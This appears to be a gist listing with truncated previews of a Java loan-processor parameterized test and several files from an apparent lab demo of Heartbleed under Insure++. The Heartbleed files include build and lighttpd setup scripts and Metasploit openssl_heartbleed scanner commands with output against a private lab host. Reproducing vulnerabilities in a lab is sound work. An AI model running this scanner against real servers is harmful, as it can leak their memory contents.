View parameterized_test_example_8.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
public class LoanProcessorParameterizedTest { | |
@ParameterizedTest(name="Run {index}: loanAmount={0}, downPayment={1}, availableFunds={2}, expectApproved={3}, expectedMessage={4}") | |
@MethodSource("testRequestLoan_Parameters") | |
public void testRequestLoan(float loanAmount, float downPayment, float availableFunds, | |
boolean expectApproved, String expectedMessage) throws Throwable | |
{ | |
... | |
} |
View Insure++_Heartbleed_14_exploit.log
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[*] 192.168.56.102:4443 - Sending Client Hello... | |
[*] 192.168.56.102:4443 - SSL record #1: | |
[*] 192.168.56.102:4443 - Type: 22 | |
[*] 192.168.56.102:4443 - Version: 0x0301 | |
[*] 192.168.56.102:4443 - Length: 86 | |
[*] 192.168.56.102:4443 - Handshake #1: | |
[*] 192.168.56.102:4443 - Length: 82 | |
[*] 192.168.56.102:4443 - Type: Server Hello (2) | |
[*] 192.168.56.102:4443 - Server Hello Version: 0x0301 | |
[*] 192.168.56.102:4443 - Server Hello random data: f6150b7136c5047cc899660b |
View Insure++_Heartbleed_13_metasploit_output2.log
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Global | |
====== | |
No entries in data store. | |
Module: scanner/ssl/openssl_heartbleed | |
====================================== | |
Name Value | |
---- ----- | |
CHOST |
View Insure++_Heartbleed_12
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true | |
verbose => true | |
msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.56.102 | |
rhosts => 192.168.56.102 | |
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 4443 | |
RPORT => 4443 |
View Insure++_Heartbleed_11_Metasploit_Output.log
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Matching Modules | |
================ | |
Name Disclosure Date Rank Description | |
---- ---------- ----- ------------ | |
auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat | |
auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat |
View Insure++_Heartbleed_10
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ pwd /home/USER/heartbleed | |
$ chmod +x run_lighttpd.sh | |
$ ./run_lighttpd.sh |
View Insure++_Heartbleed_10_run_lighttpd.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
LD_LIBRARY_PATH=’/home/USER/heartbleed/env/lib:/home/USER/insure/lib’ \ | |
/home/USER/heartbleed/env/sbin/lighttpd \ | |
-D \ | |
-f /home/USER/hearbleed/lighttpd.conf |
View Insure++_Heartbleed_9_lighttpd.conf
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
server.modules = ( | |
"mod_openssl", | |
"mod_access", | |
"mod_accesslog", | |
) | |
server.port = 8080 | |
server.username = "USER" | |
server.groupname = "GROUP" | |
server.document-root = "/home/USER/heartbleed/srv" | |
server.errorlog = "/home/USER/heartbleed/lighttpd_error.log" |
View Insure++_Heartbleed_7.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>Heartbleed Demo</title> | |
</head> | |
<body> | |
<h1>Hello world!</h1> | |
</body> | |
</html> |
View Insure++_Heartbleed_5.sh
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
OPENSSL_PATH=’/home/USER/heartbleed/env’ | |
INSURE_PATH=’/home/USER/insure’ | |
MY_LIBS=’-linsure -linsure_mt -ldl’ | |
MY_LIB_PATHS="-L${OPENSSL_PATH}/lib -L${INSURE_PATH}/lib" | |
MY_LD_LIB_PATHS="${OPENSSL_PATH}/lib:${INSURE_PATH}/lib" | |
MY_FLAGS="$MY_LIB_PATHS $MY_LIBS" | |
CC="$(command -v gcc)" \ | |
CXX="$(command -v g++)" \ |
NewerOlder